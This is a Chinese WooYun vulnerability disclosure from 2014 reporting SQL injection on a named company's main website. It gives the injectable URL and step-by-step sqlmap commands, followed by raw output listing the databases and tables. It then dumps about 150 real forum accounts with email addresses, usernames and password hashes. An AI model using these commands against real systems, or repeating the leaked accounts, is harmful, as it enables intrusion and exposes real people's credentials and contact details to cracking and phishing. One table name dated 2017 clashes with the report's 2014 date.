当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070847

漏洞标题:艾泰科技主站sql注入(泄露敏感数据)

相关厂商:上海艾泰科技有限公司

漏洞作者: xxsec

提交时间:2014-08-03 23:41

修复时间:2014-09-17 23:42

公开时间:2014-09-17 23:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-09-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

穿山甲怎么死的?

详细说明:

1.注入点:
http://www.utt.com.cn/appexampleview.php?id=1104
2.爆库
sqlmap -u http://www.utt.com.cn/appexampleview.php?id=1104 --dbs

web server operating system: Linux CentOS 6.3
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[13:33:13] [INFO] fetching database names
[13:33:13] [INFO] the SQL query used returns 8 entries
[13:33:13] [INFO] retrieved: "information_schema"
[13:33:14] [INFO] retrieved: "gwf"
[13:33:14] [INFO] retrieved: "mysql"
[13:33:15] [INFO] retrieved: "partner"
[13:33:15] [INFO] retrieved: "reosware"
[13:33:15] [INFO] retrieved: "test"
[13:33:15] [INFO] retrieved: "utt"
[13:33:16] [INFO] retrieved: "utt_en"
available databases [8]:
[*] gwf
[*] information_schema
[*] mysql
[*] partner
[*] reosware
[*] test
[*] utt
[*] utt_en


3.爆表
sqlmap -u http://www.utt.com.cn/appexampleview.php?id=1104 -D utt --tables --batch

Database: utt                                                                  
[619 tables]
+-------------------------------------+
| administrators |
| articles |
| blueprints |
| ccc |
| chou_answer |
| chou_click_analyse |
| chou_db |
| chou_user |
| clients |
| comtools |
| ddd |
| ddnsadmin |
| ddnsadministrators |
| ddnsusers |
| dictionary |
| disx_common_addon |
| disx_common_admincp_cmenu |
| disx_common_admincp_group |
| disx_common_admincp_member |
| disx_common_admincp_perm |
| disx_common_admincp_session |
| disx_common_admingroup |
| disx_common_adminnote |
| disx_common_advertisement |
| disx_common_advertisement_custom |
| disx_common_banned |
| disx_common_block |
| disx_common_block_favorite |
| disx_common_block_item |
| disx_common_block_item_data |
| disx_common_block_permission |
| disx_common_block_pic |
| disx_common_block_style |
| disx_common_block_xml |
| disx_common_cache |
| disx_common_card |
| disx_common_card_log |
| disx_common_card_type |
| disx_common_connect_guest |
| disx_common_credit_log |
| disx_common_credit_log_field |
| disx_common_credit_rule |
| disx_common_credit_rule_log |
| disx_common_credit_rule_log_field |
| disx_common_cron |
| disx_common_devicetoken |
| disx_common_district |
| disx_common_diy_data |
| disx_common_domain |
| disx_common_failedip |
| disx_common_failedlogin |
| disx_common_friendlink |
| disx_common_grouppm |
| disx_common_invite |
| disx_common_magic |
| disx_common_magiclog |
| disx_common_mailcron |
| disx_common_mailqueue |
| disx_common_member |
| disx_common_member_action_log |
| disx_common_member_bak |
| disx_common_member_connect |
| disx_common_member_count |
| disx_common_member_count_bak |
| disx_common_member_crime |
| disx_common_member_field_forum |
| disx_common_member_field_forum_bak |
| disx_common_member_field_home |
| disx_common_member_field_home_bak |
| disx_common_member_forum_buylog |
| disx_common_member_grouppm |
| disx_common_member_log |
| disx_common_member_log_bak |
| disx_common_member_magic |
| disx_common_member_medal |
| disx_common_member_newprompt |
| disx_common_member_profile |
| disx_common_member_profile_bak |
| disx_common_member_profile_setting |
| disx_common_member_security |
| disx_common_member_secwhite |
| disx_common_member_stat_field |
| disx_common_member_stat_fieldcache |
| disx_common_member_stat_search |
| disx_common_member_stat_searchcache |
| disx_common_member_status |
| disx_common_member_status_bak |
| disx_common_member_validate |
| disx_common_member_verify |
| disx_common_member_verify_info |
| disx_common_myapp |
| disx_common_myinvite |
| disx_common_mytask |
| disx_common_nav |
| disx_common_onlinetime |
| disx_common_optimizer |
| disx_common_patch |
| disx_common_plugin |
| disx_common_pluginvar |
| disx_common_process |
| disx_common_regip |
| disx_common_relatedlink |
| disx_common_remote_port |
| disx_common_report |
| disx_common_searchindex |
| disx_common_seccheck |
| disx_common_secquestion |
| disx_common_session |
| disx_common_setting |
| disx_common_smiley |
| disx_common_sphinxcounter |
| disx_common_stat |
| disx_common_statuser |
| disx_common_style |
| disx_common_stylevar |
| disx_common_syscache |
| disx_common_tag |
| disx_common_tagitem |
| disx_common_task |
| disx_common_taskvar |
| disx_common_template |
| disx_common_template_block |
| disx_common_template_permission |
| disx_common_uin_black |
| disx_common_usergroup |
| disx_common_usergroup_field |
| disx_common_visit |
| disx_common_word |
| disx_common_word_type |
| disx_connect_disktask |
| disx_connect_feedlog |
| disx_connect_memberbindlog |
| disx_connect_postfeedlog |
| disx_connect_tthreadlog |
| disx_forum_access |
| disx_forum_activity |
| disx_forum_activityapply |
| disx_forum_announcement |
| disx_forum_attachment |
| disx_forum_attachment_0 |
| disx_forum_attachment_1 |
| disx_forum_attachment_2 |
| disx_forum_attachment_3 |
| disx_forum_attachment_4 |
| disx_forum_attachment_5 |
| disx_forum_attachment_6 |
| disx_forum_attachment_7 |
| disx_forum_attachment_8 |
| disx_forum_attachment_9 |
| disx_forum_attachment_exif |
| disx_forum_attachment_unused |
| disx_forum_attachtype |
| disx_forum_bbcode |
| disx_forum_collection |
| disx_forum_collectioncomment |
| disx_forum_collectionfollow |
| disx_forum_collectioninvite |
| disx_forum_collectionrelated |
| disx_forum_collectionteamworker |
| disx_forum_collectionthread |
| disx_forum_creditslog |
| disx_forum_debate |
| disx_forum_debatepost |
| disx_forum_faq |
| disx_forum_filter_post |
| disx_forum_forum |
| disx_forum_forum_threadtable |
| disx_forum_forumfield |
| disx_forum_forumrecommend |
| disx_forum_groupcreditslog |
| disx_forum_groupfield |
| disx_forum_groupinvite |
| disx_forum_grouplevel |
| disx_forum_groupranking |
| disx_forum_groupuser |
| disx_forum_hotreply_member |
| disx_forum_hotreply_number |
| disx_forum_imagetype |
| disx_forum_medal |
| disx_forum_medallog |
| disx_forum_memberrecommend |
| disx_forum_moderator |
| disx_forum_modwork |
| disx_forum_newthread |
| disx_forum_onlinelist |
| disx_forum_order |
| disx_forum_poll |
| disx_forum_polloption |
| disx_forum_polloption_image |
| disx_forum_pollvoter |
| disx_forum_post |
| disx_forum_post_location |
| disx_forum_post_moderate |
| disx_forum_post_tableid |
| disx_forum_postcache |
| disx_forum_postcomment |
| disx_forum_postlog |
| disx_forum_postposition |
| disx_forum_poststick |
| disx_forum_promotion |
| disx_forum_ratelog |
| disx_forum_relatedthread |
| disx_forum_replycredit |
| disx_forum_rsscache |
| disx_forum_sofa |
| disx_forum_spacecache |
| disx_forum_statlog |
| disx_forum_thread |
| disx_forum_thread_moderate |
| disx_forum_threadaddviews |
| disx_forum_threadcalendar |
| disx_forum_threadclass |
| disx_forum_threadclosed |
| disx_forum_threaddisablepos |
| disx_forum_threadhidelog |
| disx_forum_threadhot |
| disx_forum_threadimage |
| disx_forum_threadlog |
| disx_forum_threadmod |
| disx_forum_threadpartake |
| disx_forum_threadpreview |
| disx_forum_threadprofile |
| disx_forum_threadprofile_group |
| disx_forum_threadrush |
| disx_forum_threadtype |
| disx_forum_trade |
| disx_forum_tradecomment |
| disx_forum_tradelog |
| disx_forum_typeoption |
| disx_forum_typeoptionvar |
| disx_forum_typevar |
| disx_forum_warning |
| disx_home_album |
| disx_home_album_category |
| disx_home_appcreditlog |
| disx_home_blacklist |
| disx_home_blog |
| disx_home_blog_category |
| disx_home_blog_moderate |
| disx_home_blogfield |
| disx_home_class |
| disx_home_click |
| disx_home_clickuser |
| disx_home_comment |
| disx_home_comment_moderate |
| disx_home_docomment |
| disx_home_doing |
| disx_home_doing_moderate |
| disx_home_favorite |
| disx_home_feed |
| disx_home_feed_app |
| disx_home_follow |
| disx_home_follow_feed |
| disx_home_follow_feed_archiver |
| disx_home_friend |
| disx_home_friend_request |
| disx_home_friendlog |
| disx_home_notification |
| disx_home_pic |
| disx_home_pic_moderate |
| disx_home_picfield |
| disx_home_poke |
| disx_home_pokearchive |
| disx_home_share |
| disx_home_share_moderate |
| disx_home_show |
| disx_home_specialuser |
| disx_home_userapp |
| disx_home_userappfield |
| disx_home_viewlog |
| disx_home_visitor |
| disx_mobile_setting |
| disx_portal_article_content |
| disx_portal_article_count |
| disx_portal_article_moderate |
| disx_portal_article_related |
| disx_portal_article_title |
| disx_portal_article_trash |
| disx_portal_attachment |
| disx_portal_category |
| disx_portal_category_permission |
| disx_portal_comment |
| disx_portal_comment_moderate |
| disx_portal_rsscache |
| disx_portal_topic |
| disx_portal_topic_pic |
| disx_security_evilpost |
| disx_security_eviluser |
| disx_security_failedlog |
| disx_stopspam_thread |
| disx_stopspam_user |
| docdownload |
| docdownload2 |
| downloadfile |
| downloadfile2 |
| downloadfile_bak |
| dwregister |
| dxhf_testlist |
| elecdictionary |
| eleclicense |
| eleclicense_addpoint |
| eleclicenselog |
| elecmanagegroup |
| elecmanager |
| elecmanagerlog |
| elecmgpm |
| elecpermission |
| elecsequence |
| folderview |
| guidownload |
| hv60 |
| indexbbs |
| kbdockeywords |
| kbdocs |
| kdtest_user |
| maillist |
| mailmagzine |
| mailstatus |
| menus |
| menutypes |
| message_board |
| modeldownload |
| modelfile |
| modelsrelates |
| modelsrelates_bak0929 |
| modelsrelates_new920 |
| modelstypes |
| modelstypes_bak0929 |
| modelstypes_new920 |
| nbplustry |
| nbs3300try |
| new_mailstatus |
| otherdoc |
| pageview |
| pageview2 |
| productcharacter |
| productcommend |
| productdoc |
| productmodel |
| productmodels |
| productsolution |
| productstest |
| producttype |
| producttypes |
| productusers |
| promotion08reg |
| promotion2008 |
| qmlist |
| qtsale_bankstorelog |
| qtsale_choujianglog |
| qtsale_exchangelog |
| qtsale_function |
| qtsale_gift |
| qtsale_giftstock |
| qtsale_globalpoint |
| qtsale_koupoint |
| qtsale_log |
| qtsale_login_addpoint |
| qtsale_lotteryserial |
| qtsale_manage |
| qtsale_mobilepwd |
| qtsale_pdt_guaranteedate |
| qtsale_pdt_serial |
| qtsale_product |
| qtsale_productpoint |
| qtsale_resetpwd |
| qtsale_send |
| qtsale_serial |
| qtsale_spike |
| qtsale_spikelog |
| qtsale_strikes |
| qtsale_successlog |
| qtsale_user |
| qtsale_user20170730 |
| referercounter |
| referercounter2 |
| salerinfo |
| sameuser |
| servicesite |
| sessiontrack |
| settings |
| special |
| suggestions |
| survey_dept |
| surveymessage |
| surveyresult |
| surveys |
| surveyuser |
| uc_admins |
| uc_applications |
| uc_badwords |
| uc_domains |
| uc_failedlogins |
| uc_feeds |
| uc_friends |
| uc_mailqueue |
| uc_memberfields |
| uc_members |
| uc_members20140730 |
| uc_mergemembers |
| uc_newpm |
| uc_notelist |
| uc_pm_indexes |
| uc_pm_lists |
| uc_pm_members |
| uc_pm_messages_0 |
| uc_pm_messages_1 |
| uc_pm_messages_2 |
| uc_pm_messages_3 |
| uc_pm_messages_4 |
| uc_pm_messages_5 |
| uc_pm_messages_6 |
| uc_pm_messages_7 |
| uc_pm_messages_8 |
| uc_pm_messages_9 |
| uc_pms |
| uc_protectedmembers |
| uc_settings |
| uc_sqlcache |
| uc_tags |
| uc_vars |
| uploadfiles |
| userclients |
| userddns |
| userddnsdellog |
| userlog |
| userprop |
| userprop20140730 |
| userproplog |
| vb_access |
| vb_adminhelp |
| vb_administrator |
| vb_adminlog |
| vb_adminutil |
| vb_announcement |
| vb_attachment |
| vb_attachmenttype |
| vb_attachmentviews |
| vb_avatar |
| vb_bbcode |
| vb_calendar |
| vb_calendarcustomfield |
| vb_calendarmoderator |
| vb_calendarpermission |
| vb_cpsession |
| vb_cron |
| vb_cronlog |
| vb_customavatar |
| vb_customprofilepic |
| vb_datastore |
| vb_deletionlog |
| vb_editlog |
| vb_event |
| vb_faq |
| vb_forum |
| vb_forumpermission |
| vb_forumread |
| vb_holiday |
| vb_icon |
| vb_imagecategory |
| vb_imagecategorypermission |
| vb_language |
| vb_mailqueue |
| vb_moderation |
| vb_moderator |
| vb_moderatorlog |
| vb_passwordhistory |
| vb_paymentapi |
| vb_paymentinfo |
| vb_paymenttransaction |
| vb_phrase |
| vb_phrasetype |
| vb_plugin |
| vb_pm |
| vb_pmreceipt |
| vb_pmtext |
| vb_poll |
| vb_pollvote |
| vb_post |
| vb_post_parsed |
| vb_posthash |
| vb_postindex |
| vb_product |
| vb_productcode |
| vb_profilefield |
| vb_ranks |
| vb_regimage |
| vb_reminder |
| vb_reputation |
| vb_reputationlevel |
| vb_search |
| vb_session |
| vb_setting |
| vb_settinggroup |
| vb_smilie |
| vb_stats |
| vb_strikes |
| vb_style |
| vb_subscribeevent |
| vb_subscribeforum |
| vb_subscribethread |
| vb_subscription |
| vb_subscriptionlog |
| vb_tachyforumpost |
| vb_tachythreadpost |
| vb_template |
| vb_templatehistory |
| vb_thread |
| vb_threadrate |
| vb_threadread |
| vb_threadviews |
| vb_upgradelog |
| vb_user |
| vb_user2 |
| vb_user_bak |
| vb_useractivation |
| vb_userban |
| vb_userfield |
| vb_usergroup |
| vb_usergroupleader |
| vb_usergrouprequest |
| vb_usernote |
| vb_userpromotion |
| vb_usertextfield |
| vb_usertitle |
| vb_word |
| xs_ycserial |
| zz_access |
| zz_adminhelp |
| zz_administrator |
| zz_adminlog |
| zz_adminutil |
| zz_announcement |
| zz_attachment |
| zz_attachmenttype |
| zz_attachmentviews |
| zz_avatar |
| zz_bank_log |
| zz_bbcode |
| zz_calendar |
| zz_calendarcustomfield |
| zz_calendarmoderator |
| zz_calendarpermission |
| zz_cpsession |
| zz_cron |
| zz_cron3 |
| zz_cronlog |
| zz_customavatar |
| zz_customprofilepic |
| zz_datastore |
| zz_datastore3 |
| zz_deletionlog |
| zz_editlog |
| zz_event |
| zz_faq |
| zz_forum |
| zz_forumpermission |
| zz_holiday |
| zz_icon |
| zz_imagecategory |
| zz_imagecategorypermission |
| zz_language |
| zz_mailqueue |
| zz_moderation |
| zz_moderator |
| zz_moderatorlog |
| zz_passwordhistory |
| zz_phrase |
| zz_phrasetype |
| zz_pm |
| zz_pmreceipt |
| zz_pmtext |
| zz_poll |
| zz_pollvote |
| zz_post |
| zz_post_parsed |
| zz_posthash |
| zz_postindex |
| zz_profilefield |
| zz_ranks |
| zz_rating |
| zz_regimage |
| zz_reminder |
| zz_reputation |
| zz_reputationlevel |
| zz_search |
| zz_search3 |
| zz_session |
| zz_setting |
| zz_settinggroup |
| zz_sitelink |
| zz_smilie |
| zz_stats |
| zz_strikes |
| zz_style |
| zz_subscribeevent |
| zz_subscribeforum |
| zz_subscribethread |
| zz_subscription |
| zz_subscriptionlog |
| zz_template |
| zz_thread |
| zz_thread3 |
| zz_threadrate |
| zz_threadviews |
| zz_upgradelog |
| zz_user |
| zz_user3 |
| zz_useractivation |
| zz_userban |
| zz_userfield |
| zz_usergroup |
| zz_usergroupleader |
| zz_usergrouprequest |
| zz_usernote |
| zz_userpromotion |
| zz_usertextfield |
| zz_usertitle |
| zz_word |
+-------------------------------------+


4.爆论坛用户表字段
sqlmap -u http://www.utt.com.cn/appexampleview.php?id=1104 -D utt -T disx_common_member --columns --batch

Database: utt                                                                                                                                        
Table: disx_common_member
[23 columns]
+--------------------+-----------------------+
| Column | Type |
+--------------------+-----------------------+
| accessmasks | tinyint(1) |
| adminid | tinyint(1) |
| allowadmincp | tinyint(1) |
| avatarstatus | tinyint(1) |
| conisbind | tinyint(1) unsigned |
| credits | int(10) |
| email | char(40) |
| emailstatus | tinyint(1) |
| extgroupids | char(20) |
| freeze | tinyint(1) |
| groupexpiry | int(10) unsigned |
| groupid | smallint(6) unsigned |
| newpm | smallint(6) unsigned |
| newprompt | smallint(6) unsigned |
| notifysound | tinyint(1) |
| onlyacceptfriendpm | tinyint(1) |
| password | char(32) |
| regdate | int(10) unsigned |
| status | tinyint(1) |
| timeoffset | char(4) |
| uid | mediumint(8) unsigned |
| username | char(50) |
| videophotostatus | tinyint(1) |
+--------------------+-----------------------+


5.爆字段
sqlmap -u http://www.utt.com.cn/appexampleview.php?id=1104 -D utt -T disx_common_member -C username,password,email,adminid --count --batch

Database: utt
Table: disx_common_member
[918 entries]
+---------+-------------------------------+-----------------+----------------------------------+
| adminid | email | username | password |
+---------+-------------------------------+-----------------+----------------------------------+
[15:20:52] [WARNING] console output will be trimmed to last 256 rows due to large table size
| 0 | mysq@sina.com | ganninianga | e15df2ff546e8f2e5d22af3a0f7bcce3 |
| 0 | analyst2001@hotmail.com | analyst | 251efcdb2295caa8b739530f46adfcc8 |
| 0 | cocacola@vip.sina.com | jswb | 70e0b3f9d07a2e434d9a54ad3c0e92c6 |
| 0 | cxhkdy@163.com | cxhkdy | 9b57adc02d6cee42ebe88fcfe8600f60 |
| 0 | huayi4048@hzcnc.com | tomoto | c2aabbef5f6fb97a02e1907386bda68d |
| 0 | yhm101@sina.com.cn | yhm101 | 2510c4f52c95396e7d6339b89a3ba079 |
| 0 | maxzml@yahoo.com.cn | mafan777 | 371f3bad0f26422433f4c984d58ea405 |
| 0 | luyouzhimen@sina.com | rzbb | 0016d6ec46aed4ac11274091d6bc3693 |
| 0 | help@fjleo.com | handstart | 70b494f9897466990a1426cc23892dc1 |
| 0 | rain260@63.com | borain | c1ddc8d8c65b27cf2d5887fd8d600bd8 |
| 0 | zbin124@126.com | zbin124 | 2e50207a560fdcce06cea19439f8a94b |
| 0 | daaxiang@hotmail.com | daaxiang | 57edbaf5efba3e590955f37840ed6bed |
| 0 | eagle86@163.com | eagle | 1773a32a93c461f1ad7a68befeb54811 |
| 0 | tyyxql@126.com | xieqinglin | e6b5907c65d42cc2c156b5be6ec7ac45 |
| 0 | yan@163.com | yanexp | c3294c987787b798cae6c80282c13b7b |
| 0 | lianglingwei110@163.com | gaoyang | 68d8b94f129330d7cf5ced47fbcf0290 |
| 0 | LSJ95906@163.com | lsj95906 | 8bbf730c50ec8bf20998beff914e8c93 |
| 0 | jiang9275@sina.com | feiyu803 | 86d134d6817827e28176803fa34e3f91 |
| 0 | tarja@126.com | timar | 7416248572bd60e0883c9f6bf9c028b9 |
| 0 | pygen@158c.com | pygen | 05d69709c1e7582112f2fa73c4086555 |
| 0 | china_flya@126.com | sloven_yang | 29d1a626ffd87230b56da80d9c08c737 |
| 0 | leety@263.net | leety | 324c22b21dbe08621dd3b51f9fd58205 |
| 0 | yymysc@sina.com | redbigpigdog | 9259033271659bc7597b45dc85f913a5 |
| 0 | dfqc153@yahoo.com.cn | weiyu | 9a335c241ddb6f70cf365c5c9f2d392f |
| 0 | lianxinxing@sina.com | 颜超 | aee862f8592ddcd0d50dad070b5dec97 |
| 0 | benny@jobsdb.com.cn | jobsdb | b977d9c1aad3e855dc4d47cde287761a |
| 0 | anubisi@hotmail.com | 陈经华 | 7913809d1309b3b8f5159d57d6f4f4b3 |
| 0 | 121212@163.com | zxjchx | 78c35cb14f290f41163089c577b08770 |
| 0 | BSSPY@UTT.COM.CN | BSSPY | 1260125eca1b5754c460f84cdda04669 |
| 0 | tigerwm@126.com | 花样年华 | d5cba3f88775b4077ff62ad84b57e888 |
| 0 | Enlly@163.com | wansun | 238060e9813763ef23cf01dc01713040 |
| 0 | 268853964@126.com | 268853964 | 6b2bf3f9f539e989d7db15fd4b4eaa75 |
| 0 | njlysb@yeah.net | njlysb | ba414551af5f42124cea046673696e0a |
| 0 | qjcj599@tom.com | xlcgly | 0d0d7729b591abb4e85c1adb3d30eb39 |
| 0 | forest_yh@163.com | forest_yh | 02ff26868400af47108a15af16505ab4 |
| 0 | jejo@163.com | jejo | 0d83836a5071131f88d86d22f0b963ec |
| 0 | jzhengquan@163.com | jzhengquan | bd09fc0d34324836909014b8c0117994 |
| 0 | win999@21cn.com | win999 | e2c5e0da17b6fa2e1e7cdc10c8cfa7dc |
| 0 | ttwwl@163.com | waylong | dea2cf384056b6602e45610d77a6f88d |
| 0 | longheejun@yahoo.com.cn | DACIA | 6348d7d5394672af298d5a4232ab9b7d |
| 0 | ouy11@163.com | ouy11 | 9f26953d916cf3764863a5024daeacac |
| 0 | ouy12@163.com | ouy12 | ee92f3f1f70d7257e44bad74b3f11d56 |
| 0 | ymriyue@163.com | ymriyue | 682e348e449ad00b62375dfa004ce8fe |
| 0 | ychanliyang@163.com | ychanliyang | 6558234cf01beb4f91d1d95499a39145 |
| 0 | ttttt455t@ttttt455t.com | ttttt455t | 55230dd1686eaf8c8445cd4755ff2f6f |
| 0 | chenguolin168@163.com | chenguolin | 59fa40710317c8f7af9ac308c50e6057 |
| 0 | csxxzzm@yahoo.com.cn | csxxzzm | 30184a41dd0fe88d891872f495456524 |
| 0 | yaogun888@sohu.com | 南京百思 | a0d134fc8efc813102cd22ee5409e5f7 |
| 0 | sjhongmayi@sina.com.cn | xsjwb | 92690d64e6483ae7432297a7dfd7a01c |
| 0 | zjb9976@yahoo.com.cn | zjbin88 | a0d87fab4e08951ab1062b4db92e96e8 |
| 0 | jimmymak@hotmail.com | jimmymak | 1adb50252abcc87342e0e73e2196e5c6 |
| 0 | ccna522@sina.com | ccna522 | a2d191e16293b780c854515dc3b2ef44 |
| 0 | houpeng0825@163.com | monkey0825 | 08ed0b62fee502406da3c26df0785ade |
| 0 | fa@fa.net | networkcai | f5f4e4d6ba58a38ca6ad5baf1b72613d |
| 0 | cmc@cmc.net.cn | cmc | 8b74fd20aa512545436cae269d9f46b4 |
| 0 | xchenyu@msn.com | xchenyu | 235348200de4e189808be2bddd22bde1 |
| 0 | r71e@163.com | prosta | f3fba19116bec83fe10ea715237b3dd1 |
| 0 | jejatnui@126.com | 7irclub | 05e4da7443c25a8d63192cca343413fb |
| 0 | eighth949@163.com | desert969 | c42f1a9194fd1466920850b94b2ab500 |
| 0 | aaronic@126.com | 李章典 | df7f829512e2cd1a2afea1184aaeb0b1 |
| 0 | zfs@wlancom.com.cn | 祝凤山 | ff1dc74719509628df8a10ae1ce6f3e0 |
| 0 | goodfly_5260@163.com | 刘叶飞 | 3649c6d06de89d4b2f185ff786bf8190 |
| 0 | lengedy@163.com | 刘念 | e1cd68dbd0eba7b2e18a473a1ea04404 |
| 0 | whcnc@vip.sina.com | 邓昆 | 74bfc3d11daf29a8368082cd39baeca2 |
| 0 | 00@22.com | 233318888 | bb9e8b247b750df4d3a4832ec5f5809b |
| 0 | cqgaogao@263.net | eastbar | 10502f477945052212c4a0ff086b3889 |
| 0 | gxjsby-5429446@163.com | gxjsby-5429446 | 70e748f26e5065a7f0679aacaec4a07e |
| 0 | wpsoffice2k@163.com | wpsoffice2k | 90ebd247bd68303729c93c24d8ae44b0 |
| 0 | 26411217@qq.com | heiha99 | f3c753c8276db5b7798af1945ca6aa7b |
| 0 | sunctxsun@yahoo.com.cn | sunctxsun | fd420b8d841337d2584cc21fc03fde45 |
| 0 | wypwyb@sohu.com | wypwyb | 724032daa7512881267969aaae48ba40 |
| 0 | 13329763999@hb165.com | wentao | 9bf66c6300a0b017ca130a9880afbccc |
| 0 | asdfasdf@bb.net | pyo | bf36f3f616c02be6a07c62ede34cd727 |
| 0 | zqymike@sohu.com | runrun | 23f042ccb62d523bd90775e2c5f7185b |
| 0 | sygjdjd@163.com | sygjdjd | bdb96abe1d52519d3a4b959036c6f01c |
| 0 | bcdqyeyi@163.com | yeyi1981 | 624ee4db9f447ac28a7b04d6bdfe5d37 |
| 0 | cthanh3011@yahoo.com | asdd | 5dbe30799da8c9efb342df192802a428 |
| 0 | yqsource@citiz.net | kuku | ed6dcfd598a99120a02dcccfa7cf73e6 |
| 0 | zhaopeng19772000@yahoo.com.cn | zhaopeng77 | 61cd77b0ad2b5c9480ed44c1fa015a5d |
| 0 | 13317780272@gx165.com | cisco_angent | e64a44ec01b7ecb4d007c1cec6cbfbf3 |
| 0 | fdsafd@163.com | oktty | 1b036557630574517e3440cc751fb16b |
| 0 | 55103425@163.com | 55103425 | 9abcc30743261c7b2a517a9b1a1cb122 |
| 0 | jiancomic@21cn.com | jiancomic | 6bbf95e1add1a5a35f57ab8e18c0bf15 |
| 0 | szshltd2@163.com | robinzeng | 23cc85d55f1a4e2b4f2d8c4c962d209d |
| 0 | szgszS_sz@hotmail.com | szzou | f54b160a3d24538bc740be1dc6ddf6e3 |
| 0 | hzmonk@hotmail.com | hzmonk | 0cab3b4eaba3867221c839075fbee5bd |
| 0 | hbwhfy@yahoo.com.cn | 2231cs | 37c8abc944525d82e7e01935732ecb0a |
| 0 | liguibin1@tfol.com | liguibin1 | 3bc23f8ce365657d46fa676564e704a6 |
| 0 | 67490166@qq.com | jbox2004 | 255d64b8873f7022a650ce5b135abd46 |
| 0 | xywb@vip.371.net | erquan | fc2c2b6948bb2f94f70950c7554d7d76 |
| 0 | xingshi131@163.com | xingshi131 | 4b8a83396783766f16762926eba9f47c |
| 0 | cenwenliang@yahoo.com.cn | cenwenliang | f158893a0b8c7ae936c862727ea30367 |
| 0 | bxlr@yahoo.com.cn | bxlr | 90bf1a261c3460efee1e721ab4e5c05d |
| 0 | incremental@163.com | saving | 49fb71e2ba13fa5d43a5b95727cb89e9 |
| 0 | changcaihong@163.com | changcaihong | 1b8d13c7d3923ce005141ab1f2c24de1 |
| 0 | zgqhxgw@yahoo.com.cn | qhnewsv | 897ccaea5f29a34ab2aa9b0f52986694 |
| 0 | qd160@163.com | efire | c6e3e2489b7034116712130a09e37260 |
| 0 | langyou199@163.com | langyou | 9ff57bd319edf8aafc7e2b64759d499c |
| 0 | czhero@tom.com | qwe369 | 2476f50fe8f82f5cf4fe0f5f22c741bc |
| 0 | firesea@21cn.com | firesea | df4e1fd608606b0b3335c3b390c5e68a |
| 0 | JIANGZHIJUN666@126.NET | JIANGZHIJUN | 82e84e8c3a093b8b59ee29efafce9970 |
| 0 | zxy5330@yahoo.com.cn | zxy1420 | 0d87c0285d75b0bb59b293aff4f31955 |
| 0 | mouliang@sina.com | mouliang | f481a21c03decef368a7f65fe44fdc6b |
| 0 | diandian881@sina.com | mengyuan | 729b11a3ac28760cea7b0822d4b46a01 |
| 0 | liuxiusong@yahoo.com.cn | liuxiusong | 142de414d276a7261ea8d45066c9302b |
| 0 | chf800116@sina.com.cn | chenhuifeng | 167a36f8a459f4d2469195185eac9310 |
| 0 | niadie@163.com | niadie | f81ce50f17f79bb389f4798330a60374 |
| 0 | psb168@hotmail.com | university | 8f2a8c6424bd86d236ec13ecf4100ad5 |
| 0 | qna363@163.com | qna363 | 775ed59605518fc579c5caecbc428aa7 |
| 0 | cucumber_yong@yahoo.com | robin-xie | f96968199958965d5c5b977ac2deda9e |
| 0 | z35010561@126.com | zhaobin8 | 2723a4c7251a7f6a0d5f80330fca3e06 |
| 0 | scltdd@126.com | MEME | 522ba704720195f382776ce47a8842e0 |
| 0 | dqez-zyq@163.com | 朱玉泉 | a89a96dda898b02b5f4f882ed4ce7095 |
| 0 | riconzheng@126.com | lighttime | 120711380d7945f283507e0e2b4e4286 |
| 0 | yangchengaf@21cn.com | GNU/linux | f6ef199ad43cc14913b331b1ef31eb81 |
| 0 | dddsea@163.com | computer_angel | 3409cf7a4920378cf86221f79a0957ce |
| 0 | nnljy@126.com | ipoo | 85412e63e28966d493065c808f2f7002 |
| 0 | daokeqq86@hotmail.com | ilu998 | 5d5dffc2c0e0e072bd485166db9ce277 |
| 0 | bmpqj@126.com | bmpqj | f77394ecd15644df01fb42e80f62960e |
| 0 | duxiz@126.com | duxiz | 9ec639e624d2be12101118a6270c4810 |
| 0 | wanggangytsoft@vip.sina.com | wanggangytsoft | d3b90b618e24d16610da0f81fb5a9118 |
| 0 | ec02142@163.com | yxiaofe | 8318d03379985b2f7aebbb2a3d3d8a95 |
| 0 | lhxyd@126.com | lhxyd | 01b79a7374b9e921fe64496a7af9aaa6 |
| 0 | littlefa8@126.com | littlefa8 | 18f6ccc3af887dd84a6c4cbe54e3cd92 |
| 0 | yz@qq.com | yangfs | 21022b1667483eb9d271e266ee16024d |
| 0 | szjyyzj@163.net | hbszywb | 5bcb17d8fea4ba1bf3e15d0d0663bb4b |
| 0 | wujunkui@126.com | wujunkui | f8dbf9b654077ed39737b8b96cb4b83b |
| 0 | ruffianly@163.com | ruffianly | bb2ab3fcb4838cbaef6431b53ebc81d6 |
| 0 | zhejiangshaoxin@yahoo.com.cn | 萧墙 | b69a7103b431e897dcb73e44000377ef |
| 0 | coolhouse@citiz.net | coolhouse | 7a5e51bda0ad960ba8a9b6cb6985a48a |
| 0 | lnwxp@sohu.com | lnwxp | 609a1aed0e3fb86e2f5870042a65c12e |
| 0 | cyw0267@tom.com | cyw0267 | 83a577a0d6c621d0f3a57185c643126c |
| 0 | eggplant007@heut.edu.cn | asddsa | 5e34662f7bc6e5f21b38394250b51ea7 |
| 0 | jakyon@yeah.net | jakyon | 6bf334db3a92826ca6dbd8c7b9abd530 |
| 0 | wangzi_chen@yeah.net | zdwh | 91f1ce0070735d73d44b4dc3deeffa7c |
| 0 | zhimingz@21cn.com | keynet | c8c2538437b87e07bb8f2439aa1dd090 |
| 0 | sgqwc@tom.com | sgqwc | e8df939fb1000e9cb503e8d45b8c9cbf |
| 1 | xuanmafei@163.com | xuanmafei | 7c988857236c492665464f267f361dcc |
| 0 | cbonswsf@21cn.com | fosf | c70daff6b6a2459e1aaeeca2a0d01746 |
| 0 | lidong_bing@163.com | lidong_bing | 2df0ef68eb46bf20ae2b402afacf4630 |
| 0 | funny@sh163.net | 1686488 | 8cf490036df9ecb506d1e69b6429036f |
| 0 | pengtaiyang@mail.china.com | peng2005 | db1d5e45cdcb1d30d110cff508ea05df |
| 0 | YANGJINGC@163.COM | CN_YJC | ad90efbe2e6b2c4899d30aa2d2380297 |
